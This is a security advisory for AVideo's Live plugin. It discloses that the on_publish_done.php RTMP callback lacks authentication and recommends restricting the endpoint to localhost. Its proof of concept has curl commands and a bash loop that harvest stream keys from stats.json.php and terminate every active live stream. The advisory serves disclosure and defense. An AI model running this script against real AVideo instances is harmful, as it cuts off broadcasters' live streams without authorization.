GHSA-4jcg-jxpf-5vq3
HIGHAVideo: Unauthenticated Live Stream Termination via RTMP Callback on_publish_done.php
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
wwbn/avideoReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The AVideo on_publish_done.php endpoint in the Live plugin allows unauthenticated users to terminate any active live stream. The endpoint processes RTMP callback events to mark streams as finished in the database, but performs no authentication or authorization checks before doing so.
An attacker can enumerate active stream keys from the unauthenticated stats.json.php endpoint, then send crafted POST requests to on_publish_done.php to terminate any live broadcast. This enables denial-of-service against all live streaming functionality on the platform.
Details
The file plugin/Live/on_publish_done.php processes RTMP server callbacks when a stream ends. It accepts a POST parameter name (the stream key) and directly uses it to look up and terminate the corresponding stream session.
// plugin/Live/on_publish_done.php
$row = LiveTransmitionHistory::getLatest($_POST['name'], $live_servers_id, 10);
$insert_row = LiveTransmitionHistory::finishFromTransmitionHistoryId($row['id']);
There is no authentication check anywhere in the file - no User::isLogged(), no User::isAdmin(), no token validation. The endpoint is designed to be called by the RTMP server (e.g., Nginx-RTMP), but since it is a standard HTTP endpoint, any external client can call it directly.
Additionally, stream keys can be harvested from the unauthenticated stats.json.php endpoint, which returns information about active streams including their keys.
Proof of Concept
- Retrieve active stream keys from the unauthenticated stats endpoint:
curl -s "https://your-avideo-instance.com/plugin/Live/stats.json.php" | python3 -m json.tool
- Terminate a live stream by sending a POST request with the stream key:
curl -X POST "https://your-avideo-instance.com/plugin/Live/on_publish_done.php" \
-d "name=STREAM_KEY_HERE"
-
The server responds with HTTP 200 and the stream is marked as finished in the
live_transmitions_historytable. The streamer's broadcast is terminated. -
To disrupt all active streams, iterate over keys returned from step 1:
#!/bin/bash
# Terminate all active streams on a target AVideo instance
TARGET="https://your-avideo-instance.com"
curl -s "$TARGET/plugin/Live/stats.json.php" \
| python3 -c "
import sys, json
data = json.load(sys.stdin)
for stream in data.get('applications', []):
for client in stream.get('live', {}).get('streams', []):
print(client.get('name', ''))
" | while read -r key; do
[ -z "$key" ] && continue
echo "[*] Terminating stream: $key"
curl -s -X POST "$TARGET/plugin/Live/on_publish_done.php" -d "name=$key"
done
Impact
Any unauthenticated attacker can terminate live broadcasts on an AVideo instance. This constitutes a denial-of-service vulnerability against the live streaming functionality. Combined with the unauthenticated stream key enumeration from stats.json.php, an attacker can systematically disrupt all active streams on the platform.
- CWE-306: Missing Authentication for Critical Function
- Severity: Medium
Recommended Fix
Restrict the RTMP callback endpoint to localhost connections only at plugin/Live/on_publish_done.php:3:
// plugin/Live/on_publish_done.php:3
if (!in_array($_SERVER['REMOTE_ADDR'], ['127.0.0.1', '::1'])) {
http_response_code(403);
die('Forbidden');
}
Since this endpoint is designed to be called by the local RTMP server (e.g., Nginx-RTMP), it should only accept requests from localhost. External clients should never be able to invoke it directly.
Found by aisafe.io
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | wwbn/avideo | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wwbn/avideo. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Remediation status
No patched version of wwbn/avideo has shipped for GHSA-4jcg-jxpf-5vq3 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-4jcg-jxpf-5vq3 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-4jcg-jxpf-5vq3. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-4jcg-jxpf-5vq3 in your dependencies?
O3 detects GHSA-4jcg-jxpf-5vq3 across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.